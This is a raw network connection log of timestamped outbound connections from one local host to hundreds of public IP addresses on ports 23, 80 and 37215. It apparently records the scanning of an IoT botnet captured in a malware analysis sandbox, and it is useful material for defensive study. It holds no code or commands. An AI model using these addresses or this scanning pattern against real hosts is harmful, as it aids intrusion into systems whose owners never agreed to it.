Dec 3, 2024 23:16:42.377422094 CET	40596	80	192.168.2.23	121.255.122.153
Dec 3, 2024 23:16:42.377434015 CET	40602	23	192.168.2.23	115.214.132.44
Dec 3, 2024 23:16:42.377434015 CET	40596	80	192.168.2.23	193.102.17.50
Dec 3, 2024 23:16:42.377439022 CET	40596	80	192.168.2.23	220.231.161.63
Dec 3, 2024 23:16:42.377439022 CET	40602	23	192.168.2.23	82.187.57.35
Dec 3, 2024 23:16:42.377439976 CET	40602	23	192.168.2.23	130.18.100.192
Dec 3, 2024 23:16:42.377439976 CET	40602	23	192.168.2.23	99.44.135.80
Dec 3, 2024 23:16:42.377441883 CET	40602	23	192.168.2.23	132.142.252.214
Dec 3, 2024 23:16:42.377441883 CET	40596	80	192.168.2.23	196.238.101.159
Dec 3, 2024 23:16:42.377441883 CET	40602	23	192.168.2.23	111.205.219.7
Dec 3, 2024 23:16:42.377455950 CET	40596	80	192.168.2.23	53.237.80.56
Dec 3, 2024 23:16:42.377455950 CET	40602	23	192.168.2.23	82.71.242.209
Dec 3, 2024 23:16:42.377460957 CET	40602	23	192.168.2.23	157.177.37.87
Dec 3, 2024 23:16:42.377460957 CET	40596	80	192.168.2.23	71.237.140.136
Dec 3, 2024 23:16:42.377465963 CET	40596	80	192.168.2.23	142.37.35.102
Dec 3, 2024 23:16:42.377461910 CET	40596	80	192.168.2.23	195.199.190.217
Dec 3, 2024 23:16:42.377466917 CET	40602	23	192.168.2.23	68.16.150.48
Dec 3, 2024 23:16:42.377460957 CET	40596	80	192.168.2.23	191.195.68.140
Dec 3, 2024 23:16:42.377465963 CET	40596	80	192.168.2.23	147.235.53.65
Dec 3, 2024 23:16:42.377471924 CET	40596	80	192.168.2.23	115.236.187.36
Dec 3, 2024 23:16:42.377473116 CET	40596	80	192.168.2.23	133.161.206.122
Dec 3, 2024 23:16:42.377475977 CET	40596	80	192.168.2.23	187.68.26.113
Dec 3, 2024 23:16:42.377480030 CET	40596	80	192.168.2.23	138.128.109.112
Dec 3, 2024 23:16:42.377485037 CET	40596	80	192.168.2.23	195.221.76.54
Dec 3, 2024 23:16:42.377485037 CET	40596	80	192.168.2.23	43.199.98.208
Dec 3, 2024 23:16:42.377487898 CET	40602	23	192.168.2.23	172.66.141.44
Dec 3, 2024 23:16:42.377487898 CET	40602	23	192.168.2.23	83.70.74.13
Dec 3, 2024 23:16:42.377491951 CET	40596	80	192.168.2.23	157.139.254.183
Dec 3, 2024 23:16:42.377499104 CET	40596	80	192.168.2.23	206.150.60.6
Dec 3, 2024 23:16:42.377511024 CET	40602	23	192.168.2.23	185.211.172.232
Dec 3, 2024 23:16:42.377515078 CET	40596	80	192.168.2.23	9.138.161.31
Dec 3, 2024 23:16:42.377516031 CET	40596	80	192.168.2.23	115.178.144.133
Dec 3, 2024 23:16:42.377527952 CET	40602	23	192.168.2.23	154.28.142.243
Dec 3, 2024 23:16:42.377535105 CET	40602	23	192.168.2.23	141.192.68.34
Dec 3, 2024 23:16:42.377543926 CET	40602	23	192.168.2.23	94.202.231.159
Dec 3, 2024 23:16:42.377545118 CET	40602	23	192.168.2.23	212.221.30.143
Dec 3, 2024 23:16:42.377545118 CET	40602	23	192.168.2.23	180.10.167.171
Dec 3, 2024 23:16:42.377546072 CET	40602	23	192.168.2.23	192.16.153.64
Dec 3, 2024 23:16:42.377546072 CET	40596	80	192.168.2.23	90.22.156.238
Dec 3, 2024 23:16:42.377546072 CET	40596	80	192.168.2.23	155.100.193.176
Dec 3, 2024 23:16:42.377552986 CET	40596	80	192.168.2.23	103.232.66.178
Dec 3, 2024 23:16:42.377554893 CET	40596	80	192.168.2.23	36.2.16.104
Dec 3, 2024 23:16:42.377557993 CET	40602	23	192.168.2.23	124.183.30.136
Dec 3, 2024 23:16:42.377559900 CET	40596	80	192.168.2.23	70.50.162.171
Dec 3, 2024 23:16:42.377559900 CET	40596	80	192.168.2.23	167.128.115.162
Dec 3, 2024 23:16:42.377563953 CET	40602	23	192.168.2.23	189.65.67.171
Dec 3, 2024 23:16:42.377568007 CET	40596	80	192.168.2.23	108.130.189.235
Dec 3, 2024 23:16:42.377568007 CET	40596	80	192.168.2.23	138.195.26.2
Dec 3, 2024 23:16:42.377571106 CET	40596	80	192.168.2.23	47.71.77.19
Dec 3, 2024 23:16:42.377571106 CET	40602	23	192.168.2.23	104.201.66.253
Dec 3, 2024 23:16:42.377571106 CET	40602	23	192.168.2.23	179.178.192.84
Dec 3, 2024 23:16:42.377571106 CET	40602	23	192.168.2.23	63.187.102.100
Dec 3, 2024 23:16:42.377571106 CET	40602	23	192.168.2.23	5.149.168.71
Dec 3, 2024 23:16:42.377573967 CET	40596	80	192.168.2.23	132.166.181.173
Dec 3, 2024 23:16:42.377576113 CET	40596	80	192.168.2.23	196.164.227.23
Dec 3, 2024 23:16:42.377584934 CET	40596	80	192.168.2.23	8.212.1.33
Dec 3, 2024 23:16:42.377588034 CET	40596	80	192.168.2.23	211.16.160.182
Dec 3, 2024 23:16:42.377588034 CET	40596	80	192.168.2.23	124.237.189.206
Dec 3, 2024 23:16:42.377588987 CET	40602	23	192.168.2.23	190.70.228.181
Dec 3, 2024 23:16:42.377588034 CET	40602	23	192.168.2.23	59.9.38.194
Dec 3, 2024 23:16:42.377592087 CET	40596	80	192.168.2.23	210.52.84.46
Dec 3, 2024 23:16:42.377592087 CET	40602	23	192.168.2.23	72.173.68.211
Dec 3, 2024 23:16:42.377592087 CET	40596	80	192.168.2.23	180.48.252.177
Dec 3, 2024 23:16:42.377593994 CET	40596	80	192.168.2.23	189.138.165.19
Dec 3, 2024 23:16:42.377593994 CET	40596	80	192.168.2.23	137.105.208.49
Dec 3, 2024 23:16:42.377593994 CET	40596	80	192.168.2.23	206.32.109.65
Dec 3, 2024 23:16:42.377593994 CET	40602	23	192.168.2.23	208.127.218.153
Dec 3, 2024 23:16:42.377593994 CET	40602	23	192.168.2.23	60.90.196.189
Dec 3, 2024 23:16:42.377595901 CET	40596	80	192.168.2.23	137.1.8.147
Dec 3, 2024 23:16:42.377595901 CET	40596	80	192.168.2.23	169.196.15.114
Dec 3, 2024 23:16:42.377593994 CET	40596	80	192.168.2.23	121.130.222.78
Dec 3, 2024 23:16:42.377599001 CET	40602	23	192.168.2.23	163.230.42.161
Dec 3, 2024 23:16:42.377593994 CET	40602	23	192.168.2.23	185.175.146.176
Dec 3, 2024 23:16:42.377599001 CET	40596	80	192.168.2.23	63.9.198.38
Dec 3, 2024 23:16:42.377600908 CET	40602	23	192.168.2.23	204.61.35.207
Dec 3, 2024 23:16:42.377599001 CET	40602	23	192.168.2.23	186.223.41.255
Dec 3, 2024 23:16:42.377599001 CET	40602	23	192.168.2.23	4.140.86.153
Dec 3, 2024 23:16:42.377610922 CET	40602	23	192.168.2.23	46.128.95.82
Dec 3, 2024 23:16:42.377612114 CET	40596	80	192.168.2.23	207.199.244.11
Dec 3, 2024 23:16:42.377614975 CET	40596	80	192.168.2.23	185.144.6.19
Dec 3, 2024 23:16:42.377618074 CET	40602	23	192.168.2.23	23.127.192.73
Dec 3, 2024 23:16:42.377618074 CET	40602	23	192.168.2.23	175.105.59.126
Dec 3, 2024 23:16:42.377625942 CET	40596	80	192.168.2.23	74.111.89.185
Dec 3, 2024 23:16:42.377629042 CET	40602	23	192.168.2.23	58.242.7.5
Dec 3, 2024 23:16:42.377631903 CET	40602	23	192.168.2.23	207.238.161.230
Dec 3, 2024 23:16:42.377634048 CET	40602	23	192.168.2.23	157.64.4.227
Dec 3, 2024 23:16:42.377638102 CET	40596	80	192.168.2.23	83.54.173.228
Dec 3, 2024 23:16:42.377638102 CET	40596	80	192.168.2.23	93.61.39.223
Dec 3, 2024 23:16:42.377638102 CET	40596	80	192.168.2.23	201.103.147.98
Dec 3, 2024 23:16:42.377638102 CET	40602	23	192.168.2.23	80.6.58.143
Dec 3, 2024 23:16:42.377638102 CET	40602	23	192.168.2.23	110.248.32.59
Dec 3, 2024 23:16:42.377638102 CET	40596	80	192.168.2.23	46.87.90.115
Dec 3, 2024 23:16:42.377638102 CET	40596	80	192.168.2.23	108.243.18.137
Dec 3, 2024 23:16:42.377643108 CET	40596	80	192.168.2.23	182.19.141.93
Dec 3, 2024 23:16:42.377643108 CET	40596	80	192.168.2.23	143.51.60.100
Dec 3, 2024 23:16:42.377643108 CET	40602	23	192.168.2.23	213.85.94.19
Dec 3, 2024 23:16:42.377645016 CET	40602	23	192.168.2.23	27.145.158.85
Dec 3, 2024 23:16:42.377656937 CET	40596	80	192.168.2.23	190.243.46.171
Dec 3, 2024 23:16:42.377656937 CET	40596	80	192.168.2.23	156.177.3.12
Dec 3, 2024 23:16:42.377656937 CET	40602	23	192.168.2.23	143.203.82.78
Dec 3, 2024 23:16:42.377660990 CET	40602	23	192.168.2.23	206.200.221.61
Dec 3, 2024 23:16:42.377662897 CET	40596	80	192.168.2.23	105.87.126.144
Dec 3, 2024 23:16:42.377662897 CET	40602	23	192.168.2.23	107.97.162.38
Dec 3, 2024 23:16:42.377667904 CET	40602	23	192.168.2.23	1.96.165.136
Dec 3, 2024 23:16:42.377667904 CET	40602	23	192.168.2.23	96.229.21.75
Dec 3, 2024 23:16:42.377667904 CET	40596	80	192.168.2.23	72.53.36.178
Dec 3, 2024 23:16:42.377676010 CET	40596	80	192.168.2.23	210.51.191.19
Dec 3, 2024 23:16:42.377681971 CET	40602	23	192.168.2.23	148.44.104.222
Dec 3, 2024 23:16:42.377685070 CET	40602	23	192.168.2.23	156.158.137.175
Dec 3, 2024 23:16:42.377685070 CET	40602	23	192.168.2.23	190.160.134.2
Dec 3, 2024 23:16:42.377686024 CET	40602	23	192.168.2.23	34.121.128.181
Dec 3, 2024 23:16:42.377686024 CET	40602	23	192.168.2.23	191.74.179.86
Dec 3, 2024 23:16:42.377688885 CET	40596	80	192.168.2.23	103.226.134.233
Dec 3, 2024 23:16:42.377698898 CET	40596	80	192.168.2.23	175.97.172.158
Dec 3, 2024 23:16:42.377698898 CET	40602	23	192.168.2.23	109.57.18.178
Dec 3, 2024 23:16:42.377703905 CET	40596	80	192.168.2.23	197.127.118.132
Dec 3, 2024 23:16:42.377703905 CET	40596	80	192.168.2.23	8.69.19.133
Dec 3, 2024 23:16:42.377705097 CET	40596	80	192.168.2.23	24.149.33.241
Dec 3, 2024 23:16:42.377705097 CET	40602	23	192.168.2.23	58.30.68.166
Dec 3, 2024 23:16:42.377705097 CET	40596	80	192.168.2.23	104.189.156.219
Dec 3, 2024 23:16:42.377706051 CET	40602	23	192.168.2.23	131.250.219.111
Dec 3, 2024 23:16:42.377710104 CET	40596	80	192.168.2.23	184.126.71.79
Dec 3, 2024 23:16:42.377710104 CET	40596	80	192.168.2.23	74.202.155.132
Dec 3, 2024 23:16:42.377710104 CET	40602	23	192.168.2.23	83.204.212.200
Dec 3, 2024 23:16:42.377710104 CET	40596	80	192.168.2.23	153.104.65.0
Dec 3, 2024 23:16:42.377721071 CET	40602	23	192.168.2.23	92.81.31.38
Dec 3, 2024 23:16:42.377732038 CET	40596	80	192.168.2.23	65.47.188.170
Dec 3, 2024 23:16:42.377732038 CET	40596	80	192.168.2.23	69.145.231.168
Dec 3, 2024 23:16:42.377733946 CET	40602	23	192.168.2.23	5.144.188.40
Dec 3, 2024 23:16:42.377736092 CET	40602	23	192.168.2.23	17.51.38.189
Dec 3, 2024 23:16:42.377741098 CET	40602	23	192.168.2.23	146.183.75.91
Dec 3, 2024 23:16:42.377743006 CET	40602	23	192.168.2.23	120.125.185.189
Dec 3, 2024 23:16:42.377743006 CET	40596	80	192.168.2.23	45.216.31.214
Dec 3, 2024 23:16:42.377743006 CET	40596	80	192.168.2.23	23.47.195.19
Dec 3, 2024 23:16:42.377746105 CET	40602	23	192.168.2.23	25.0.52.100
Dec 3, 2024 23:16:42.377746105 CET	40602	23	192.168.2.23	145.166.144.38
Dec 3, 2024 23:16:42.377746105 CET	40602	23	192.168.2.23	58.200.232.104
Dec 3, 2024 23:16:42.377749920 CET	40596	80	192.168.2.23	160.97.11.107
Dec 3, 2024 23:16:42.377752066 CET	40602	23	192.168.2.23	125.19.188.36
Dec 3, 2024 23:16:42.377754927 CET	40602	23	192.168.2.23	39.87.207.207
Dec 3, 2024 23:16:42.377763033 CET	40596	80	192.168.2.23	77.114.160.46
Dec 3, 2024 23:16:42.377763033 CET	40602	23	192.168.2.23	220.84.244.53
Dec 3, 2024 23:16:42.377763033 CET	40602	23	192.168.2.23	186.2.75.244
Dec 3, 2024 23:16:42.377763033 CET	40596	80	192.168.2.23	167.170.4.3
Dec 3, 2024 23:16:42.377767086 CET	40602	23	192.168.2.23	112.87.113.40
Dec 3, 2024 23:16:42.377769947 CET	40596	80	192.168.2.23	174.152.152.84
Dec 3, 2024 23:16:42.377770901 CET	40602	23	192.168.2.23	86.91.201.80
Dec 3, 2024 23:16:42.377770901 CET	40596	80	192.168.2.23	92.15.235.128
Dec 3, 2024 23:16:42.377770901 CET	40602	23	192.168.2.23	118.233.210.150
Dec 3, 2024 23:16:42.377772093 CET	40602	23	192.168.2.23	195.4.122.6
Dec 3, 2024 23:16:42.377774000 CET	40602	23	192.168.2.23	223.194.165.123
Dec 3, 2024 23:16:42.377775908 CET	40602	23	192.168.2.23	111.51.93.36
Dec 3, 2024 23:16:42.377778053 CET	40602	23	192.168.2.23	142.191.133.255
Dec 3, 2024 23:16:42.377782106 CET	40596	80	192.168.2.23	95.171.148.57
Dec 3, 2024 23:16:42.377788067 CET	40602	23	192.168.2.23	66.21.20.183
Dec 3, 2024 23:16:42.377794027 CET	40602	23	192.168.2.23	162.90.9.242
Dec 3, 2024 23:16:42.377795935 CET	40596	80	192.168.2.23	80.27.157.196
Dec 3, 2024 23:16:42.377796888 CET	40602	23	192.168.2.23	114.113.138.204
Dec 3, 2024 23:16:42.377800941 CET	40602	23	192.168.2.23	157.95.51.18
Dec 3, 2024 23:16:42.377800941 CET	40602	23	192.168.2.23	79.158.76.239
Dec 3, 2024 23:16:42.377804041 CET	40602	23	192.168.2.23	73.194.40.122
Dec 3, 2024 23:16:42.377804041 CET	40602	23	192.168.2.23	8.235.175.135
Dec 3, 2024 23:16:42.377805948 CET	40602	23	192.168.2.23	172.200.8.142
Dec 3, 2024 23:16:42.377810001 CET	40596	80	192.168.2.23	9.101.83.87
Dec 3, 2024 23:16:42.377810001 CET	40596	80	192.168.2.23	113.96.71.207
Dec 3, 2024 23:16:42.377814054 CET	40602	23	192.168.2.23	63.223.118.92
Dec 3, 2024 23:16:42.377820969 CET	40596	80	192.168.2.23	96.237.62.199
Dec 3, 2024 23:16:42.377820969 CET	40596	80	192.168.2.23	171.35.34.181
Dec 3, 2024 23:16:42.377823114 CET	40596	80	192.168.2.23	42.146.156.49
Dec 3, 2024 23:16:42.377823114 CET	40596	80	192.168.2.23	194.217.89.195
Dec 3, 2024 23:16:42.377823114 CET	40602	23	192.168.2.23	81.58.215.57
Dec 3, 2024 23:16:42.377823114 CET	40596	80	192.168.2.23	60.12.242.175
Dec 3, 2024 23:16:42.377823114 CET	40602	23	192.168.2.23	193.204.54.24
Dec 3, 2024 23:16:42.377834082 CET	40602	23	192.168.2.23	202.76.51.207
Dec 3, 2024 23:16:42.377834082 CET	40596	80	192.168.2.23	58.170.189.178
Dec 3, 2024 23:16:42.377834082 CET	40602	23	192.168.2.23	146.246.133.50
Dec 3, 2024 23:16:42.377834082 CET	40602	23	192.168.2.23	64.81.27.187
Dec 3, 2024 23:16:42.377835989 CET	40596	80	192.168.2.23	61.47.159.38
Dec 3, 2024 23:16:42.377834082 CET	40602	23	192.168.2.23	142.26.194.117
Dec 3, 2024 23:16:42.377835989 CET	40602	23	192.168.2.23	155.240.7.223
Dec 3, 2024 23:16:42.377834082 CET	40596	80	192.168.2.23	96.110.67.145
Dec 3, 2024 23:16:42.377840042 CET	40596	80	192.168.2.23	154.36.154.96
Dec 3, 2024 23:16:42.377835989 CET	40596	80	192.168.2.23	105.137.185.215
Dec 3, 2024 23:16:42.377835989 CET	40602	23	192.168.2.23	196.197.42.117
Dec 3, 2024 23:16:42.377835989 CET	40602	23	192.168.2.23	182.162.189.183
Dec 3, 2024 23:16:42.377844095 CET	40596	80	192.168.2.23	141.148.27.185
Dec 3, 2024 23:16:42.377861023 CET	40596	80	192.168.2.23	120.152.210.127
Dec 3, 2024 23:16:42.377861023 CET	40602	23	192.168.2.23	153.207.90.177
Dec 3, 2024 23:16:42.377861977 CET	40602	23	192.168.2.23	159.2.208.55
Dec 3, 2024 23:16:42.377863884 CET	40596	80	192.168.2.23	109.113.244.12
Dec 3, 2024 23:16:42.377863884 CET	40596	80	192.168.2.23	35.204.75.208
Dec 3, 2024 23:16:42.377876997 CET	40602	23	192.168.2.23	108.87.28.232
Dec 3, 2024 23:16:42.377876997 CET	40602	23	192.168.2.23	24.62.6.21
Dec 3, 2024 23:16:42.377887964 CET	40602	23	192.168.2.23	97.171.169.171
Dec 3, 2024 23:16:42.377888918 CET	40596	80	192.168.2.23	128.137.84.103
Dec 3, 2024 23:16:42.377891064 CET	40602	23	192.168.2.23	25.78.29.235
Dec 3, 2024 23:16:42.377893925 CET	40596	80	192.168.2.23	202.233.229.94
Dec 3, 2024 23:16:42.377897024 CET	40602	23	192.168.2.23	103.41.27.57
Dec 3, 2024 23:16:42.377907038 CET	40602	23	192.168.2.23	213.120.174.125
Dec 3, 2024 23:16:42.377911091 CET	40602	23	192.168.2.23	139.248.67.156
Dec 3, 2024 23:16:42.377913952 CET	40602	23	192.168.2.23	187.130.7.240
Dec 3, 2024 23:16:42.377913952 CET	40602	23	192.168.2.23	149.107.6.203
Dec 3, 2024 23:16:42.377916098 CET	40596	80	192.168.2.23	198.3.18.170
Dec 3, 2024 23:16:42.377923965 CET	40596	80	192.168.2.23	141.56.177.162
Dec 3, 2024 23:16:42.377932072 CET	40602	23	192.168.2.23	123.167.131.95
Dec 3, 2024 23:16:42.377932072 CET	40602	23	192.168.2.23	161.33.129.219
Dec 3, 2024 23:16:42.377934933 CET	40602	23	192.168.2.23	209.26.197.58
Dec 3, 2024 23:16:42.377937078 CET	40602	23	192.168.2.23	38.231.161.103
Dec 3, 2024 23:16:42.377939939 CET	40596	80	192.168.2.23	114.57.3.254
Dec 3, 2024 23:16:42.377943039 CET	40602	23	192.168.2.23	83.56.110.243
Dec 3, 2024 23:16:42.377943993 CET	40596	80	192.168.2.23	138.92.41.78
Dec 3, 2024 23:16:42.377965927 CET	40602	23	192.168.2.23	149.233.122.202
Dec 3, 2024 23:16:42.377966881 CET	40602	23	192.168.2.23	65.127.14.237
Dec 3, 2024 23:16:42.377968073 CET	40602	23	192.168.2.23	101.194.154.32
Dec 3, 2024 23:16:42.377986908 CET	40602	23	192.168.2.23	170.19.105.210
Dec 3, 2024 23:16:42.377988100 CET	40602	23	192.168.2.23	37.194.114.94
Dec 3, 2024 23:16:42.377988100 CET	40602	23	192.168.2.23	25.13.110.24
Dec 3, 2024 23:16:42.377991915 CET	40602	23	192.168.2.23	195.85.242.83
Dec 3, 2024 23:16:42.378014088 CET	40602	23	192.168.2.23	188.187.8.188
Dec 3, 2024 23:16:42.378017902 CET	40602	23	192.168.2.23	86.87.93.162
Dec 3, 2024 23:16:42.378021955 CET	40602	23	192.168.2.23	146.71.3.31
Dec 3, 2024 23:16:42.378027916 CET	40602	23	192.168.2.23	164.1.10.130
Dec 3, 2024 23:16:42.378034115 CET	40602	23	192.168.2.23	116.208.199.178
Dec 3, 2024 23:16:42.378040075 CET	40602	23	192.168.2.23	49.213.165.252
Dec 3, 2024 23:16:42.378047943 CET	40602	23	192.168.2.23	67.202.22.74
Dec 3, 2024 23:16:42.378047943 CET	40602	23	192.168.2.23	211.161.41.29
Dec 3, 2024 23:16:42.378048897 CET	40602	23	192.168.2.23	220.142.232.22
Dec 3, 2024 23:16:42.378050089 CET	40602	23	192.168.2.23	217.163.195.135
Dec 3, 2024 23:16:42.378074884 CET	40602	23	192.168.2.23	140.72.198.48
Dec 3, 2024 23:16:42.378074884 CET	40602	23	192.168.2.23	38.187.34.19
Dec 3, 2024 23:16:42.378074884 CET	40602	23	192.168.2.23	189.173.31.190
Dec 3, 2024 23:16:42.378093958 CET	40602	23	192.168.2.23	139.201.164.96
Dec 3, 2024 23:16:42.378103971 CET	40602	23	192.168.2.23	191.111.220.1
Dec 3, 2024 23:16:42.378104925 CET	40602	23	192.168.2.23	5.51.111.15
Dec 3, 2024 23:16:42.378104925 CET	40602	23	192.168.2.23	167.219.68.25
Dec 3, 2024 23:16:42.378104925 CET	40602	23	192.168.2.23	145.224.169.34
Dec 3, 2024 23:16:42.378107071 CET	40602	23	192.168.2.23	133.58.97.237
Dec 3, 2024 23:16:42.378108025 CET	40602	23	192.168.2.23	24.154.224.148
Dec 3, 2024 23:16:42.378119946 CET	40602	23	192.168.2.23	98.162.139.172
Dec 3, 2024 23:16:42.378120899 CET	40602	23	192.168.2.23	78.52.150.212
Dec 3, 2024 23:16:42.378123999 CET	40602	23	192.168.2.23	154.163.203.71
Dec 3, 2024 23:16:42.378128052 CET	40602	23	192.168.2.23	64.38.255.46
Dec 3, 2024 23:16:42.378137112 CET	40602	23	192.168.2.23	207.70.190.236
Dec 3, 2024 23:16:42.378138065 CET	40602	23	192.168.2.23	70.69.160.175
Dec 3, 2024 23:16:42.378142118 CET	40602	23	192.168.2.23	152.167.69.15
Dec 3, 2024 23:16:42.378149033 CET	40602	23	192.168.2.23	73.29.184.71
Dec 3, 2024 23:16:42.378161907 CET	40602	23	192.168.2.23	201.11.203.161
Dec 3, 2024 23:16:42.378165960 CET	40602	23	192.168.2.23	69.60.255.122
Dec 3, 2024 23:16:42.378170967 CET	40602	23	192.168.2.23	119.82.192.175
Dec 3, 2024 23:16:42.378176928 CET	40602	23	192.168.2.23	221.167.154.122
Dec 3, 2024 23:16:42.378177881 CET	40602	23	192.168.2.23	53.20.55.62
Dec 3, 2024 23:16:42.378179073 CET	40602	23	192.168.2.23	142.193.161.188
Dec 3, 2024 23:16:42.378179073 CET	40602	23	192.168.2.23	37.114.184.149
Dec 3, 2024 23:16:42.378179073 CET	40602	23	192.168.2.23	158.128.64.43
Dec 3, 2024 23:16:42.378200054 CET	40602	23	192.168.2.23	104.96.247.38
Dec 3, 2024 23:16:42.378207922 CET	40602	23	192.168.2.23	173.191.232.2
Dec 3, 2024 23:16:42.378211021 CET	40602	23	192.168.2.23	196.32.209.175
Dec 3, 2024 23:16:42.378215075 CET	40602	23	192.168.2.23	161.21.210.116
Dec 3, 2024 23:16:42.378227949 CET	40602	23	192.168.2.23	132.84.85.167
Dec 3, 2024 23:16:42.378227949 CET	40602	23	192.168.2.23	92.157.224.15
Dec 3, 2024 23:16:42.378231049 CET	40602	23	192.168.2.23	185.41.144.222
Dec 3, 2024 23:16:42.378231049 CET	40602	23	192.168.2.23	141.250.161.87
Dec 3, 2024 23:16:42.378246069 CET	40602	23	192.168.2.23	108.10.103.188
Dec 3, 2024 23:16:42.378248930 CET	40602	23	192.168.2.23	67.30.184.194
Dec 3, 2024 23:16:42.378248930 CET	40602	23	192.168.2.23	94.71.218.241
Dec 3, 2024 23:16:42.378252029 CET	40602	23	192.168.2.23	106.196.92.80
Dec 3, 2024 23:16:42.378268003 CET	40602	23	192.168.2.23	24.152.190.10
Dec 3, 2024 23:16:42.378271103 CET	40602	23	192.168.2.23	219.12.39.11
Dec 3, 2024 23:16:42.378271103 CET	40602	23	192.168.2.23	188.229.37.74
Dec 3, 2024 23:16:42.378274918 CET	40602	23	192.168.2.23	148.47.51.156
Dec 3, 2024 23:16:42.378278017 CET	40602	23	192.168.2.23	135.38.78.26
Dec 3, 2024 23:16:42.378283024 CET	40602	23	192.168.2.23	114.155.30.200
Dec 3, 2024 23:16:42.378283024 CET	40602	23	192.168.2.23	136.17.132.85
Dec 3, 2024 23:16:42.378298998 CET	40602	23	192.168.2.23	196.225.55.223
Dec 3, 2024 23:16:42.378302097 CET	40602	23	192.168.2.23	218.37.126.140
Dec 3, 2024 23:16:42.378305912 CET	40602	23	192.168.2.23	102.144.121.178
Dec 3, 2024 23:16:42.378307104 CET	40602	23	192.168.2.23	193.90.255.45
Dec 3, 2024 23:16:42.378320932 CET	40602	23	192.168.2.23	36.96.217.13
Dec 3, 2024 23:16:42.378324032 CET	40602	23	192.168.2.23	163.219.61.162
Dec 3, 2024 23:16:42.378326893 CET	40602	23	192.168.2.23	57.23.170.41
Dec 3, 2024 23:16:42.378339052 CET	40602	23	192.168.2.23	87.38.66.33
Dec 3, 2024 23:16:42.378345966 CET	40602	23	192.168.2.23	148.26.52.90
Dec 3, 2024 23:16:42.378345966 CET	40602	23	192.168.2.23	20.127.111.33
Dec 3, 2024 23:16:42.378346920 CET	40602	23	192.168.2.23	58.204.161.167
Dec 3, 2024 23:16:42.378390074 CET	40602	23	192.168.2.23	31.128.8.57
Dec 3, 2024 23:16:42.378390074 CET	40602	23	192.168.2.23	146.100.147.177
Dec 3, 2024 23:16:42.378391027 CET	40602	23	192.168.2.23	23.21.167.37
Dec 3, 2024 23:16:42.378391027 CET	40602	23	192.168.2.23	145.40.146.102
Dec 3, 2024 23:16:42.378391027 CET	40602	23	192.168.2.23	147.229.49.77
Dec 3, 2024 23:16:42.378408909 CET	40602	23	192.168.2.23	184.165.38.253
Dec 3, 2024 23:16:42.378408909 CET	40602	23	192.168.2.23	84.170.180.94
Dec 3, 2024 23:16:42.378410101 CET	40602	23	192.168.2.23	181.155.96.198
Dec 3, 2024 23:16:42.378410101 CET	40602	23	192.168.2.23	136.154.92.38
Dec 3, 2024 23:16:42.382874966 CET	40597	37215	192.168.2.23	197.18.155.116
Dec 3, 2024 23:16:42.382963896 CET	40597	37215	192.168.2.23	197.79.128.116
Dec 3, 2024 23:16:42.382987022 CET	40597	37215	192.168.2.23	156.54.232.183
Dec 3, 2024 23:16:42.382989883 CET	40597	37215	192.168.2.23	197.31.107.113
Dec 3, 2024 23:16:42.383038998 CET	40597	37215	192.168.2.23	41.168.11.232
Dec 3, 2024 23:16:42.383050919 CET	40597	37215	192.168.2.23	197.164.123.254
Dec 3, 2024 23:16:42.383060932 CET	40597	37215	192.168.2.23	197.48.127.85
Dec 3, 2024 23:16:42.383068085 CET	40597	37215	192.168.2.23	156.191.143.159
Dec 3, 2024 23:16:42.383085012 CET	40597	37215	192.168.2.23	156.184.14.251
Dec 3, 2024 23:16:42.383085012 CET	40597	37215	192.168.2.23	197.169.147.15
Dec 3, 2024 23:16:42.383089066 CET	40597	37215	192.168.2.23	41.211.156.48
Dec 3, 2024 23:16:42.383102894 CET	40597	37215	192.168.2.23	197.128.125.33
Dec 3, 2024 23:16:42.383110046 CET	40597	37215	192.168.2.23	41.192.17.8
Dec 3, 2024 23:16:42.383136034 CET	40597	37215	192.168.2.23	41.152.3.228
Dec 3, 2024 23:16:42.383136988 CET	40597	37215	192.168.2.23	197.152.175.202
Dec 3, 2024 23:16:42.383161068 CET	40597	37215	192.168.2.23	197.47.210.184
Dec 3, 2024 23:16:42.383161068 CET	40597	37215	192.168.2.23	156.76.131.235
Dec 3, 2024 23:16:42.383162975 CET	40597	37215	192.168.2.23	156.36.81.165
Dec 3, 2024 23:16:42.383177996 CET	40597	37215	192.168.2.23	197.25.91.223
Dec 3, 2024 23:16:42.383181095 CET	40597	37215	192.168.2.23	197.187.198.221
Dec 3, 2024 23:16:42.383196115 CET	40597	37215	192.168.2.23	41.14.208.140
Dec 3, 2024 23:16:42.383202076 CET	40597	37215	192.168.2.23	41.97.61.250
Dec 3, 2024 23:16:42.383213043 CET	40597	37215	192.168.2.23	156.158.228.141
Dec 3, 2024 23:16:42.383218050 CET	40597	37215	192.168.2.23	156.153.217.235
Dec 3, 2024 23:16:42.383238077 CET	40597	37215	192.168.2.23	41.19.241.213
Dec 3, 2024 23:16:42.383238077 CET	40597	37215	192.168.2.23	41.236.76.238
Dec 3, 2024 23:16:42.383238077 CET	40597	37215	192.168.2.23	197.161.124.14
Dec 3, 2024 23:16:42.383239031 CET	40597	37215	192.168.2.23	41.84.156.184
Dec 3, 2024 23:16:42.383255005 CET	40597	37215	192.168.2.23	197.229.37.226
Dec 3, 2024 23:16:42.383266926 CET	40597	37215	192.168.2.23	197.114.182.254
Dec 3, 2024 23:16:42.383306026 CET	40597	37215	192.168.2.23	41.127.179.202
Dec 3, 2024 23:16:42.383310080 CET	40597	37215	192.168.2.23	156.30.191.164
Dec 3, 2024 23:16:42.383332014 CET	40597	37215	192.168.2.23	156.97.148.215
Dec 3, 2024 23:16:42.383332968 CET	40597	37215	192.168.2.23	156.116.77.118
Dec 3, 2024 23:16:42.383336067 CET	40597	37215	192.168.2.23	41.27.163.61
Dec 3, 2024 23:16:42.383349895 CET	40597	37215	192.168.2.23	156.77.254.108
Dec 3, 2024 23:16:42.383351088 CET	40597	37215	192.168.2.23	197.15.188.214
Dec 3, 2024 23:16:42.383358955 CET	40597	37215	192.168.2.23	197.253.84.255
Dec 3, 2024 23:16:42.383361101 CET	40597	37215	192.168.2.23	197.27.175.56
Dec 3, 2024 23:16:42.383372068 CET	40597	37215	192.168.2.23	197.108.68.211
Dec 3, 2024 23:16:42.383375883 CET	40597	37215	192.168.2.23	156.61.0.112
Dec 3, 2024 23:16:42.383380890 CET	40597	37215	192.168.2.23	156.117.26.43
Dec 3, 2024 23:16:42.383383989 CET	40597	37215	192.168.2.23	156.157.134.204
Dec 3, 2024 23:16:42.383399010 CET	40597	37215	192.168.2.23	41.21.152.180
Dec 3, 2024 23:16:42.383399963 CET	40597	37215	192.168.2.23	41.255.197.158
Dec 3, 2024 23:16:42.383400917 CET	40597	37215	192.168.2.23	41.28.124.195
